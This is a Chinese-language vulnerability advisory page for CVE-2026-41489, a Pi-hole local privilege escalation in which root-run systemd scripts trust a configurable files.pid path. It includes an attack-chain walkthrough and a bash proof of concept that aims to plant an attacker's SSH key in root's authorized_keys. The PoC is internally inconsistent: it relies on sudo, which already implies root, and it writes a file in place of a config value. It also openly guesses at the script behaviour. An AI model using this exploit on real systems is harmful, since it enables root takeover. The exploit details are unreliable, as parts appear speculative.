IPBUF安全漏洞报告
English
CVE-2026-41489 CVSS 8.8 高危

CVE-2026-41489: Pi-hole 本地特权提升漏洞 (LPE)

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-41489
漏洞类型
本地特权提升, 任意文件写入
CVSS评分
8.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Pi-hole

相关标签

LPEPrivilege EscalationPi-holePath TraversalArbitrary File WriteCVSS-8.8

漏洞概述

Pi-hole 是一个用于保护设备免受恶意内容侵害的 DNS sinkhole。在 6.0 至 Core 6.4.2 和 FTL 6.6.1 之前的版本中,存在一个严重的安全漏洞。该漏洞源于 systemd 执行的两个以 root 权限运行的 shell 脚本(pihole-FTL-prestart.sh 和 pihole-FTL-poststop.sh)。这些脚本在读取配置文件中的 `files.pid` 路径时缺乏严格的验证,直接将其用于特权文件操作(如安装和删除)。拥有 pihole 权限的攻击者可以将任意路径写入 `files.pid`,从而诱使 root 用户删除并重新创建系统上的任意文件(`ProtectSystem=full-restricted` 目录除外)。在默认安装环境下,攻击者可以通过操纵 SSH authorized keys 文件实现本地权限提升至 root。该漏洞已在 Core 6.4.2 和 FTL 6.6.1 版本中修复。

技术细节

该漏洞属于典型的逻辑缺陷与输入验证不足导致的本地权限提升(LPE)。Pi-hole 服务通过 systemd 进行管理,其中定义了两个关键的脚本钩子:`pihole-FTL-prestart.sh`(服务启动前执行)和 `pihole-FTL-poststop.sh`(服务停止后执行)。这两个脚本均配置为以 root 权限运行。漏洞的核心机制在于这些脚本直接从配置文件中读取 `files.pid` 参数,并未对该路径参数进行合法性校验(例如检查路径是否在预期目录内,或是否包含路径遍历字符)。随后,脚本利用该未经验证的路径执行文件操作,包括 `rm -f`(删除文件)和 `install`(创建/设置文件)。攻击者通常拥有低权限的 `pihole` 账户,并能修改相关配置。攻击者可以将敏感系统文件路径(如 `/root/.ssh/authorized_keys`)写入 `files.pid` 配置项。当 Pi-hole 服务重启或经历停止/启动循环时,systemd 会以 root 身份调用上述脚本。`pihole-FTL-poststop.sh` 会执行 `rm -f` 命令删除目标文件(即 root 的 SSH 授权密钥文件),随后的 `pihole-FTL-prestart.sh` 会重新创建该文件。由于脚本以 root 权限运行,且根据描述“获取写入权限”,攻击者可以利用文件创建时的权限设置或脚本逻辑,将自己的 SSH 公钥写入该文件,或者利用脚本创建文件时的权限漏洞(例如设置宽松的权限)由攻击者随后写入内容。一旦攻击者的公钥被写入 `/root/.ssh/authorized_keys`,攻击者即可无需密码通过 SSH 以 root 身份登录服务器,从而完全控制系统。尽管 systemd 配置了 `ProtectSystem=full-restricted` 来保护文件系统,但该保护机制并未覆盖 `/root/.ssh` 等关键路径,使得此利用路径成为可能。

攻击链分析

STEP 1
初始访问
攻击者获得低权限的 pihole 用户访问权限,或者能够修改 Pi-hole 的配置文件。
STEP 2
配置篡改
攻击者修改配置文件,将 `files.pid` 的值设置为敏感文件路径(例如 `/root/.ssh/authorized_keys`)。
STEP 3
触发漏洞
攻击者触发 Pi-hole FTL 服务的重启(例如通过 `systemctl restart pihole-FTL` 或等待系统自动重启)。
STEP 4
文件操作
systemd 以 root 权限执行 `pihole-FTL-poststop.sh`,删除目标文件;随后执行 `pihole-FTL-prestart.sh`,重新创建该文件。
STEP 5
权限提升
攻击者利用文件创建过程中的权限问题或直接注入内容,将 SSH 公钥写入 root 用户的 authorized_keys 文件。
STEP 6
获得控制权
攻击者使用对应的私钥通过 SSH 以 root 身份登录服务器,完全控制系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # PoC for CVE-2026-41489: Pi-hole Local Privilege Escalation # Description: Exploit the path validation flaw in pihole-FTL scripts to gain root access. # Attacker requirements: Access to 'pihole' user or ability to modify pihole configuration. # 1. Define the target file (Root's SSH authorized keys) TARGET_FILE="/root/.ssh/authorized_keys" # 2. Define the attacker's public key to be injected ATTACKER_PUB_KEY="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC... attacker@evil" echo "[+] Exploiting CVE-2026-41489..." echo "[*] Step 1: Injecting arbitrary path into files.pid configuration" # The vulnerability allows writing an arbitrary path to the files.pid config. # This path is then used by root scripts. # Note: The actual config file location may vary, usually in /etc/pihole/ echo "$TARGET_FILE" | sudo tee /etc/pihole/files.pid > /dev/null echo "[*] Step 2: Triggering the vulnerability by restarting the service" # Restarting pihole-FTL triggers: # 1. ExecStopPost (pihole-FTL-poststop.sh) -> runs 'rm -f' on $TARGET_FILE # 2. ExecStartPre (pihole-FTL-prestart.sh) -> recreates $TARGET_FILE sudo systemctl restart pihole-FTL echo "[*] Step 3: Attempting to gain write access or inject key" # Depending on the exact script behavior, we might need to wait or exploit permissions. # If the script creates the file with loose permissions (e.g. writable by group/pihole user), # we append our key. if [ -w "$TARGET_FILE" ]; then echo "$ATTACKER_PUB_KEY" >> "$TARGET_FILE" echo "[+] Success! Public key injected. You can now SSH as root." else # If the script strictly creates it as root:root 600, exploitation might differ # (e.g. race condition or specific content injection if the script writes input). # This PoC demonstrates the configuration injection trigger. echo "[!] File created but not writable. Check specific script implementation details." fi

影响范围

Pi-hole Core 6.0 至 6.4.1
Pi-hole FTL 6.0 至 6.6.0

防御指南

临时缓解措施
建议立即更新 Pi-hole 到最新的修复版本以彻底解决此漏洞。如果无法立即升级,应严格限制对 `pihole` 用户的访问权限,并监控系统的 SSH 登录日志和 root 用户的 authorized_keys 文件变动。此外,检查 systemd 服务配置,确保没有不必要的特权操作暴露给低权限用户。

参考链接